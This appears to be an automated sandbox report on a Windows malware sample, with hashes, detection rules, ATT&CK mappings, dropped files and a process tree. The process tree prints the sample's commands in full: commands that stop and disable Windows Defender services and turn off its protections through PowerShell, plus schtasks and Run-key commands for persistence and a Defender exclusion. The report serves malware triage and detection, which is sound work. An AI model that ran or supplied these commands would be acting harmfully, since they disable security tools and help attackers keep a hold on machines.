00b96f5cee633bb2cdb71c182e0e8db749de5a41a14bf07219f695d9c7bd1ea0

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
20/04/2026, 03:15

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-04-20_330e717122b017d2cd5f79eee0707803_blankgrabber_icedid_luca-stealer_njrat_stealc.exe
Size 2.6MB
Sample260420-dr1eksbz2z
SHA256 00b96f5cee633bb2cdb71c182e0e8db749de5a41a14bf07219f695d9c7bd1ea0
MD5 330e717122b017d2cd5f79eee0707803
SHA1 f67f876b98b912bf20008a6112dbdf6238fe6791
SHA512 18f5f9ed7326c96aa79f6430788859231e3943a4928de6aaa2090461317cb3139e5397e2d1ee20edab142679cd58fbf9c386a061a4824412f2eadfc86992b337
SSDEEP 49152:KeVJC5xuq9nkkCcojBX5QWOk9g2yTKKxO:5Ptksp
TLSH
T100C57D0A62A50199C2A7C174CD56C512F7717C0D17F29BFB36D0A6EA2F73AE07A3A311
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion evasion execution persistence trojan

Malware Config

Signatures

Contains code to disable Windows Defender 1 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

resource	yara_rule
behavioral1/files/0x000400000001e6f0-36.dat	disable_win_def

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	2026-04-20_330e717122b017d2cd5f79eee0707803_blankgrabber_icedid_luca-stealer_njrat_stealc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	Preset_Mon_x84.exe

Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 1 IoCs

resource	yara_rule
behavioral1/files/0x000400000001e6f0-36.dat	INDICATOR_SUSPICIOUS_Binary_References_Browsers

Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs

resource	yara_rule
behavioral1/files/0x000400000001e6f0-36.dat	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore

Detects executables containing artifacts associated with disabling Widnows Defender 1 IoCs

resource	yara_rule
behavioral1/files/0x000400000001e6f0-36.dat	INDICATOR_SUSPICIOUS_DisableWinDefender

Detects executables embedding registry key / value combination indicative of disabling Windows Defen 1 IoCs

resource	yara_rule
behavioral1/files/0x000400000001e6f0-36.dat	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender

Detects executables referencing many confidential data stores found in browsers, mail clients, crypt 1 IoCs

resource	yara_rule
behavioral1/files/0x000400000001e6f0-36.dat	INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2140	powershell.exe
3944	powershell.exe
2060	powershell.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 1 IoCs

pid	Process
5888	Preset_Mon_x84.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Preset_Mon = "\"C:\\Users\\Admin\\AppData\\Roaming\\Preset_Mon\\Preset_Mon_x84.exe\""	2026-04-20_330e717122b017d2cd5f79eee0707803_blankgrabber_icedid_luca-stealer_njrat_stealc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Preset_Mon = "\"C:\\Users\\Admin\\AppData\\Roaming\\Preset_Mon\\Preset_Mon_x84.exe\""	Preset_Mon_x84.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
11	api.ipify.org
12	api.ipify.org

Launches sc.exe 16 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5304	sc.exe
2864	sc.exe
1708	sc.exe
1128	sc.exe
456	sc.exe
5740	sc.exe
4836	sc.exe
4944	sc.exe
6000	sc.exe
908	sc.exe
5456	sc.exe
5480	sc.exe
4384	sc.exe
4432	sc.exe
4160	sc.exe
5008	sc.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5984	schtasks.exe
5348	schtasks.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
5184	2026-04-20_330e717122b017d2cd5f79eee0707803_blankgrabber_icedid_luca-stealer_njrat_stealc.exe
5184	2026-04-20_330e717122b017d2cd5f79eee0707803_blankgrabber_icedid_luca-stealer_njrat_stealc.exe
5184	2026-04-20_330e717122b017d2cd5f79eee0707803_blankgrabber_icedid_luca-stealer_njrat_stealc.exe
5184	2026-04-20_330e717122b017d2cd5f79eee0707803_blankgrabber_icedid_luca-stealer_njrat_stealc.exe
5184	2026-04-20_330e717122b017d2cd5f79eee0707803_blankgrabber_icedid_luca-stealer_njrat_stealc.exe
5184	2026-04-20_330e717122b017d2cd5f79eee0707803_blankgrabber_icedid_luca-stealer_njrat_stealc.exe
2140	powershell.exe
2140	powershell.exe
5888	Preset_Mon_x84.exe
5888	Preset_Mon_x84.exe
5888	Preset_Mon_x84.exe
5888	Preset_Mon_x84.exe
5888	Preset_Mon_x84.exe
5888	Preset_Mon_x84.exe
3944	powershell.exe
3944	powershell.exe
2060	powershell.exe
2060	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3260	Process not Found

Suspicious use of AdjustPrivilegeToken 36 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3260	Process not Found
Token: SeCreatePagefilePrivilege	3260	Process not Found
Token: SeShutdownPrivilege	3260	Process not Found
Token: SeCreatePagefilePrivilege	3260	Process not Found
Token: SeDebugPrivilege	2140	powershell.exe
Token: SeShutdownPrivilege	3260	Process not Found
Token: SeCreatePagefilePrivilege	3260	Process not Found
Token: SeShutdownPrivilege	3260	Process not Found
Token: SeCreatePagefilePrivilege	3260	Process not Found
Token: SeShutdownPrivilege	3260	Process not Found
Token: SeCreatePagefilePrivilege	3260	Process not Found
Token: SeShutdownPrivilege	3260	Process not Found
Token: SeCreatePagefilePrivilege	3260	Process not Found
Token: SeShutdownPrivilege	3260	Process not Found
Token: SeCreatePagefilePrivilege	3260	Process not Found
Token: SeDebugPrivilege	3944	powershell.exe
Token: SeShutdownPrivilege	3260	Process not Found
Token: SeCreatePagefilePrivilege	3260	Process not Found
Token: SeShutdownPrivilege	3260	Process not Found
Token: SeCreatePagefilePrivilege	3260	Process not Found
Token: SeShutdownPrivilege	3260	Process not Found
Token: SeCreatePagefilePrivilege	3260	Process not Found
Token: SeShutdownPrivilege	3260	Process not Found
Token: SeCreatePagefilePrivilege	3260	Process not Found
Token: SeSecurityPrivilege	5888	Preset_Mon_x84.exe
Token: SeBackupPrivilege	5888	Preset_Mon_x84.exe
Token: SeSecurityPrivilege	5888	Preset_Mon_x84.exe
Token: SeBackupPrivilege	5888	Preset_Mon_x84.exe
Token: SeSecurityPrivilege	5888	Preset_Mon_x84.exe
Token: SeBackupPrivilege	5888	Preset_Mon_x84.exe
Token: SeSecurityPrivilege	5888	Preset_Mon_x84.exe
Token: SeBackupPrivilege	5888	Preset_Mon_x84.exe
Token: SeSecurityPrivilege	5888	Preset_Mon_x84.exe
Token: SeBackupPrivilege	5888	Preset_Mon_x84.exe
Token: SeSecurityPrivilege	5888	Preset_Mon_x84.exe
Token: SeDebugPrivilege	2060	powershell.exe

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 5184 wrote to memory of 4836	5184	2026-04-20_330e717122b017d2cd5f79eee0707803_blankgrabber_icedid_luca-stealer_njrat_stealc.exe	85
PID 5184 wrote to memory of 1708	5184	2026-04-20_330e717122b017d2cd5f79eee0707803_blankgrabber_icedid_luca-stealer_njrat_stealc.exe	87
PID 5184 wrote to memory of 4384	5184	2026-04-20_330e717122b017d2cd5f79eee0707803_blankgrabber_icedid_luca-stealer_njrat_stealc.exe	89
PID 5184 wrote to memory of 4944	5184	2026-04-20_330e717122b017d2cd5f79eee0707803_blankgrabber_icedid_luca-stealer_njrat_stealc.exe	91
PID 5184 wrote to memory of 5008	5184	2026-04-20_330e717122b017d2cd5f79eee0707803_blankgrabber_icedid_luca-stealer_njrat_stealc.exe	93
PID 5184 wrote to memory of 5304	5184	2026-04-20_330e717122b017d2cd5f79eee0707803_blankgrabber_icedid_luca-stealer_njrat_stealc.exe	95
PID 5184 wrote to memory of 6000	5184	2026-04-20_330e717122b017d2cd5f79eee0707803_blankgrabber_icedid_luca-stealer_njrat_stealc.exe	97
PID 5184 wrote to memory of 4432	5184	2026-04-20_330e717122b017d2cd5f79eee0707803_blankgrabber_icedid_luca-stealer_njrat_stealc.exe	99
PID 5184 wrote to memory of 2140	5184	2026-04-20_330e717122b017d2cd5f79eee0707803_blankgrabber_icedid_luca-stealer_njrat_stealc.exe	101
PID 5184 wrote to memory of 5984	5184	2026-04-20_330e717122b017d2cd5f79eee0707803_blankgrabber_icedid_luca-stealer_njrat_stealc.exe	103
PID 5184 wrote to memory of 5888	5184	2026-04-20_330e717122b017d2cd5f79eee0707803_blankgrabber_icedid_luca-stealer_njrat_stealc.exe	105
PID 5888 wrote to memory of 1128	5888	Preset_Mon_x84.exe	106
PID 5888 wrote to memory of 456	5888	Preset_Mon_x84.exe	108
PID 5888 wrote to memory of 908	5888	Preset_Mon_x84.exe	110
PID 5888 wrote to memory of 4160	5888	Preset_Mon_x84.exe	112
PID 5888 wrote to memory of 2864	5888	Preset_Mon_x84.exe	114
PID 5888 wrote to memory of 5456	5888	Preset_Mon_x84.exe	116
PID 5888 wrote to memory of 5480	5888	Preset_Mon_x84.exe	118
PID 5888 wrote to memory of 5740	5888	Preset_Mon_x84.exe	120
PID 5888 wrote to memory of 3944	5888	Preset_Mon_x84.exe	122
PID 5888 wrote to memory of 5348	5888	Preset_Mon_x84.exe	124
PID 5888 wrote to memory of 2132	5888	Preset_Mon_x84.exe	126
PID 2132 wrote to memory of 2060	2132	cmd.exe	128

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-04-20_330e717122b017d2cd5f79eee0707803_blankgrabber_icedid_luca-stealer_njrat_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-04-20_330e717122b017d2cd5f79eee0707803_blankgrabber_icedid_luca-stealer_njrat_stealc.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5184
- C:\Windows\SYSTEM32\sc.exe
  sc stop "WinDefend"
  2⤵
  - Launches sc.exe
  PID:4836
- C:\Windows\SYSTEM32\sc.exe
  sc config "WinDefend" start= disabled
  2⤵
  - Launches sc.exe
  PID:1708
- C:\Windows\SYSTEM32\sc.exe
  sc stop "MsMpSvc"
  2⤵
  - Launches sc.exe
  PID:4384
- C:\Windows\SYSTEM32\sc.exe
  sc config "MsMpSvc" start= disabled
  2⤵
  - Launches sc.exe
  PID:4944
- C:\Windows\SYSTEM32\sc.exe
  sc stop "Sense"
  2⤵
  - Launches sc.exe
  PID:5008
- C:\Windows\SYSTEM32\sc.exe
  sc config "Sense" start= disabled
  2⤵
  - Launches sc.exe
  PID:5304
- C:\Windows\SYSTEM32\sc.exe
  sc stop "WdNisSvc"
  2⤵
  - Launches sc.exe
  PID:6000
- C:\Windows\SYSTEM32\sc.exe
  sc config "WdNisSvc" start= disabled
  2⤵
  - Launches sc.exe
  PID:4432
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableBehaviorMonitoring $true; Set-MpPreference -DisableBlockAtFirstSeen $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableScriptScanning $true; Start-Sleep 60; Set-MpPreference -DisableRealtimeMonitoring $false; Set-MpPreference -DisableBehaviorMonitoring $false; Set-MpPreference -DisableBlockAtFirstSeen $false; Set-MpPreference -DisableIOAVProtection $false; Set-MpPreference -DisableScriptScanning $false"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2140
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /create /tn "WindowsPresetMonitorTask" /tr "\"C:\Users\Admin\AppData\Roaming\Preset_Mon\Preset_Mon_x84.exe\"" /sc onlogon /ru SYSTEM /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5984
- C:\Users\Admin\AppData\Roaming\Preset_Mon\Preset_Mon_x84.exe
  "C:\Users\Admin\AppData\Roaming\Preset_Mon\Preset_Mon_x84.exe"
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5888
- - C:\Windows\SYSTEM32\sc.exe
    sc stop "WinDefend"
    3⤵
    - Launches sc.exe
    PID:1128
- - C:\Windows\SYSTEM32\sc.exe
    sc config "WinDefend" start= disabled
    3⤵
    - Launches sc.exe
    PID:456
- - C:\Windows\SYSTEM32\sc.exe
    sc stop "MsMpSvc"
    3⤵
    - Launches sc.exe
    PID:908
- - C:\Windows\SYSTEM32\sc.exe
    sc config "MsMpSvc" start= disabled
    3⤵
    - Launches sc.exe
    PID:4160
- - C:\Windows\SYSTEM32\sc.exe
    sc stop "Sense"
    3⤵
    - Launches sc.exe
    PID:2864
- - C:\Windows\SYSTEM32\sc.exe
    sc config "Sense" start= disabled
    3⤵
    - Launches sc.exe
    PID:5456
- - C:\Windows\SYSTEM32\sc.exe
    sc stop "WdNisSvc"
    3⤵
    - Launches sc.exe
    PID:5480
- - C:\Windows\SYSTEM32\sc.exe
    sc config "WdNisSvc" start= disabled
    3⤵
    - Launches sc.exe
    PID:5740
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableBehaviorMonitoring $true; Set-MpPreference -DisableBlockAtFirstSeen $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableScriptScanning $true; Start-Sleep 60; Set-MpPreference -DisableRealtimeMonitoring $false; Set-MpPreference -DisableBehaviorMonitoring $false; Set-MpPreference -DisableBlockAtFirstSeen $false; Set-MpPreference -DisableIOAVProtection $false; Set-MpPreference -DisableScriptScanning $false"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3944
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /create /tn "WindowsPresetMonitorTask" /tr "\"C:\Users\Admin\AppData\Roaming\Preset_Mon\Preset_Mon_x84.exe\"" /sc onlogon /ru SYSTEM /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5348
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\%USERNAME%\AppData\Roaming\Preset_Mon'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2132
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Preset_Mon'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2060

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 499efdc3635b176946654a629ede6dd7fc3d573ead094b77d60b60f97cd208c2
MD5 eb95593cadef8a5dd4ae7059529d25c7
SHA1 464b6fc05fe1c21127a61db0a38e3e9c8c369d18
SHA512 28de4369543ef8f076d7a2169d08c9fca3d57ff2d4b207868227c206839b1e5c4438bf762fdd8a8ed4df6b45c458593c16be02adca044611b8b2c1f44a3afef8
SSDEEP 1536:gC+jH04tAHk1ZSMrxyNhftflJdvYoFi3j39MVvjMlUst+hNOwUp7bNvv+EGa5bxX:gC+jH04tAHk1cMrxyNhftflJdvYoFi3F
TLSH
T128334093E9204D71E1A66F3EF15662227D34394690F8113212DC25EFA983D970B1FAFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 ab2e23ebd39056c1e18e5b6545f2e8348223ab59e4bf26267a7020d7acad25de
MD5 85f19a82e37cab6ee38d992972f2cea7
SHA1 67c0323f30d8d563f887ddf921af29014da9e5ce
SHA512 63bd3591e4886616699d97382bc667e9fe93711475a228cc025be91918efafe15a82f8f9dc3e1e20aed88774cc6d2b4fffa4c4f79d79abde3d53aa4f6aa84e6a
TLSH
T1DE119327F38C8921CC86163A409EAC1172B283CB41AECF9F7FC0D214A07F984CB612A0
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 fe72e7a48562fb65242a87ba76826d669f696931044461cc3f33220d1b128990
MD5 38d8b3044878e34f3563b7e8fdedf00c
SHA1 7e68b4ae8e9e40108ec3ff23bb35ce0e032b4af3
SHA512 4aba7c769852fe84fe9b772feb845eb15a91c3e976b6b6b094373fe8b40fb31ff0df5ff7b639f7fa2e7ded303600108c97f153aed829c9545b57c99f55036721
TLSH
T1E8119723F38C8920CC86153A409E9C11327283C741AECE9F7FC0C214A07F984CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_x5akr54d.0te.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x5akr54d.0te.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

Preset_Mon_x84.exe

Path C:\Users\Admin\AppData\Roaming\Preset_Mon\Preset_Mon_x84.exe
Size 2.6MB
SHA256 00b96f5cee633bb2cdb71c182e0e8db749de5a41a14bf07219f695d9c7bd1ea0
MD5 330e717122b017d2cd5f79eee0707803
SHA1 f67f876b98b912bf20008a6112dbdf6238fe6791
SHA512 18f5f9ed7326c96aa79f6430788859231e3943a4928de6aaa2090461317cb3139e5397e2d1ee20edab142679cd58fbf9c386a061a4824412f2eadfc86992b337
SSDEEP 49152:KeVJC5xuq9nkkCcojBX5QWOk9g2yTKKxO:5Ptksp
TLSH
T100C57D0A62A50199C2A7C174CD56C512F7717C0D17F29BFB36D0A6EA2F73AE07A3A311
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

d3dcompiler_47.dll

Path C:\Users\Admin\AppData\Roaming\Preset_Mon\d3dcompiler_47.dll
Size 3.7MB
SHA256 6346d8bad4d23d86146786392fb51457df736680457c643c5b399f3f5503326f
MD5 1a1da21d4a932c963eff4ba7eb4cced8
SHA1 0aec59c71871af727f63a8cca33719324d4318a3
SHA512 c1211702481c82f7fd65a3f41846e21909ee34e8e1b7186adf488e0a50c98e18bec3cc6f03d000a2898c8d2eb4a25a53754e9c1214fcf57d018097f395121f60
SSDEEP 49152:tRfX9/GZDCBywcLen7QD/7uxKILLEZVk6y3tQu2XG8ZoI9Z9rqyI44Hppp:tR5UDjLe7QLOYZ26y3SWGoqZ92yVG/p
TLSH
T1800633506E1C2AFFDE3C4B356690F3229C25477E6880357E6DBE029A7E410874F9DB29
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libEGL.dll

Path C:\Users\Admin\AppData\Roaming\Preset_Mon\libEGL.dll
Size 289KB
SHA256 a55793b9196a48b2e7c6f85cdf1b1ffb357a1357ade3aca596226e72144e1062
MD5 dc987b108cd50587f96336f74046e0d1
SHA1 542eb23c303899bbc0974b76d81571fea6631f68
SHA512 a90474510c8e1d919581940d034f0f9f55a104889fbbde2b3fa0bfb1b5ae1fa07849a2f9a8b90cd29e8aa156b0c2f11ba699a328cd9e93ae5886aa7c0910352d
SSDEEP 6144:UHaDFfcwGYNzJuT36BWdXDvuwGqAmpGRSrYcKvtLdH1dlXgO7:UHUBcwJU/dXywGqAlUYcKvtvdlwK
TLSH
T1895423A95EB24E18EDBCA03886FF5563AC365A3369F31450C3429CA1D933FDDD2D2860
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libGLESv2.dll

Path C:\Users\Admin\AppData\Roaming\Preset_Mon\libGLESv2.dll
Size 6.5MB
SHA256 f365938fca8b6ea460ec974c605ecd60f820f939f2702d436829053974f4ec16
MD5 c4a209b8866dfe7b09a0b792797dbfaf
SHA1 2d424485aba100cdf9cc7daabf5e42786aca178a
SHA512 f9270b02928f6ec7fbbfab3a080d929c2f87fe60e3db4eaf8201d1c87b02db09c59a0fddc3bba45696edeff4dfca20279ac733869ff586d769e1c013c4806d0f
SSDEEP 98304:z9HkAVHL/DKmFfCVQ42+SMWNxJ7/nATC4K7XsWkkjaHjTo82Pb0c0NZrq9BRVvUX:zyAl3K8fCGnbP3JzATC4C8WfszNpiRVu
TLSH
T1A066332A6C429902F61184B49D4F3B7A2E7F1C198F46C1B436B2F5F454E0EB17DB9C8A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msvcp140.dll

Path C:\Users\Admin\AppData\Roaming\Preset_Mon\msvcp140.dll
Size 588KB
SHA256 c4a30b1dd290791746b0ff003813df67ebbe6f9d6ff5b365c8815fc99b201845
MD5 ba95705875ca82a7f89fed5659a1e269
SHA1 d8e5deffce836018d75945c10788b088d71ce24a
SHA512 a9375f1ba79a4c11361a43fda8e533a2f396a5b6f34782281301b9b0e4cef146c9bea67fa4e68041f5583c1d9cd04f91b4ca2bc8b31c0be487af3e79aa56102f
SSDEEP 12288:B3/gwA7d1ZQsmiDSUkoTjPJApKTbbnMZPaZDNRCUC7mcwis:BPVc1ZQBQkoTjPCpKTbzMxaZE7mdis
TLSH
T1ABD4331363254219E9D568B73E4ECC4AE7666D3CCCE1CDA18A53EA478298CFD48D0DD3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msvcp140_1.dll

Path C:\Users\Admin\AppData\Roaming\Preset_Mon\msvcp140_1.dll
Size 36KB
SHA256 518e01179c86282815d617cfa99943dd54b4ae2465bb1114484ee9db08e02af4
MD5 59e1f1e7447361eb82a6e8669801f0d9
SHA1 73a94823f5b36716343d1433ae3522b25293d71a
SHA512 fd4b21f61345e92c0be484de206f3b760714bd5643ae97c61d7b7067fc14612958501140cdeb60eb80d3a3f4235677c8da10b167ff320d1926022fa152eb2c03
SSDEEP 768:UCAnaN/OYFZ1PuY3s93aWgPlDY4UWWRw2IMmhMMuUEBLyCE5noO:UHasYFTP9ck21WWfIMYUjLyV5noO
TLSH
T1E603E19EA490D4C6F2E2F7F238B2E0624178E9AFD8311960EB91E553CC0575FB6281DC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msvcp140_2.dll

Path C:\Users\Admin\AppData\Roaming\Preset_Mon\msvcp140_2.dll
Size 292KB
SHA256 7e5aa65466b8a76135e83065d7522c9a59bf46fc2c806a79a2c4c97e8bc87a5b
MD5 6cee86c1636081099af86f14ca327272
SHA1 ca379ddf0c6d25605a70521253c616e9e52250d6
SHA512 57b05137dea77f2bcd04b7235772bf80a1db6038b1d5cf1e0e803c132d5e8fdf371285af1899b5b21cdc4560de8c7b8c81cf33a5c9366903ffb285a90567971d
SSDEEP 6144:VCuV2poFWEE8+4wbb2BZyCfe6nIwUqBsZ/OWI3iJIUpOI5+u:VtV2posT8Obb2BsCfe6IwYZ1ItvVu
TLSH
T1C254234229D9E606C173E335CDAAE747181E655B2BAECC3C0DBD1A3C8E975B4533B250
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vcruntime140.dll

Path C:\Users\Admin\AppData\Roaming\Preset_Mon\vcruntime140.dll
Size 81KB
SHA256 da500677b56725f9a9b09eebc88ac91e63ceb758e5cd644e7df3561be46b1bbc
MD5 5bff330db2768c82e78ca762ce4545da
SHA1 70742db242c7ea3467df12855128b2c5818a6734
SHA512 f459dc922b023a162d27e614363b698576a435e2a82272a13ba7f0afd2ebdbe33aed9076cf60d4152e5de18f9cbc6e549b67404c858e60429956c4863683721b
SSDEEP 1536:qg1EMcwmsc8EYST0/HM4YROa9mLi+EZQ6MkHlbfTKTo6xzpPb/t2iNlbtkhmv03:d9cZs7EYKl4IOVLdy7KToUrZX5khmc3
TLSH
T1EE830256D1E7FCF2D00D95705C2B90095382A7C69F67367141B81838BAF873AED07A36
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vcruntime140_1.dll

Path C:\Users\Admin\AppData\Roaming\Preset_Mon\vcruntime140_1.dll
Size 34KB
SHA256 e7a068745f184b9d43607b8c9626ee93f8c50276434a7e19baedae3944d032ec
MD5 4861778b36a0679a9a8a8966535af38a
SHA1 179d7fee83d1afeb9dc74399baddb28ad3c88ac8
SHA512 5f984b92b963dc56daa463788a8aecccdfd0376b66354d789955ea24b0345fa1150b0a489347a7ea0f2d12a67c1c798ed767a5740b26b0b8e4dd062a6e153921
SSDEEP 768:Vkt0jx8OVWfAfa44sUe727QJSCMTjV5IGvYO/:Vkt0l8O1DUQ27D/hvn/
TLSH
T16BF2E1058CBE0E58C1BC71BACA025F553E1DC3410A3E198520FD9C553E7EBE1A9AFD68
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2060-70-0x000001E401F00000-0x000001E401F0C000-memory.dmp

Download

memory/2140-6-0x00000283BFAB0000-0x00000283BFAD2000-memory.dmp

Download

memory/2140-39-0x00000283BFB00000-0x00000283BFB10000-memory.dmp

Download

memory/2140-40-0x00000283BFB00000-0x00000283BFB10000-memory.dmp

Download

memory/2140-48-0x00000283A7730000-0x00000283A773C000-memory.dmp

Download

memory/2140-4-0x00000283BFB00000-0x00000283BFB10000-memory.dmp

Download

memory/2140-5-0x00000283BFB00000-0x00000283BFB10000-memory.dmp

Download

memory/2140-83-0x00000283A7730000-0x00000283A773C000-memory.dmp

Download

memory/3260-25-0x0000000003490000-0x0000000003491000-memory.dmp

Download

memory/3260-0-0x0000000003490000-0x0000000003491000-memory.dmp

Download

memory/3260-2-0x0000000003490000-0x0000000003491000-memory.dmp

Download

memory/3944-59-0x000001D0B4350000-0x000001D0B435C000-memory.dmp

Download

memory/3944-87-0x000001D0B4350000-0x000001D0B435C000-memory.dmp

Download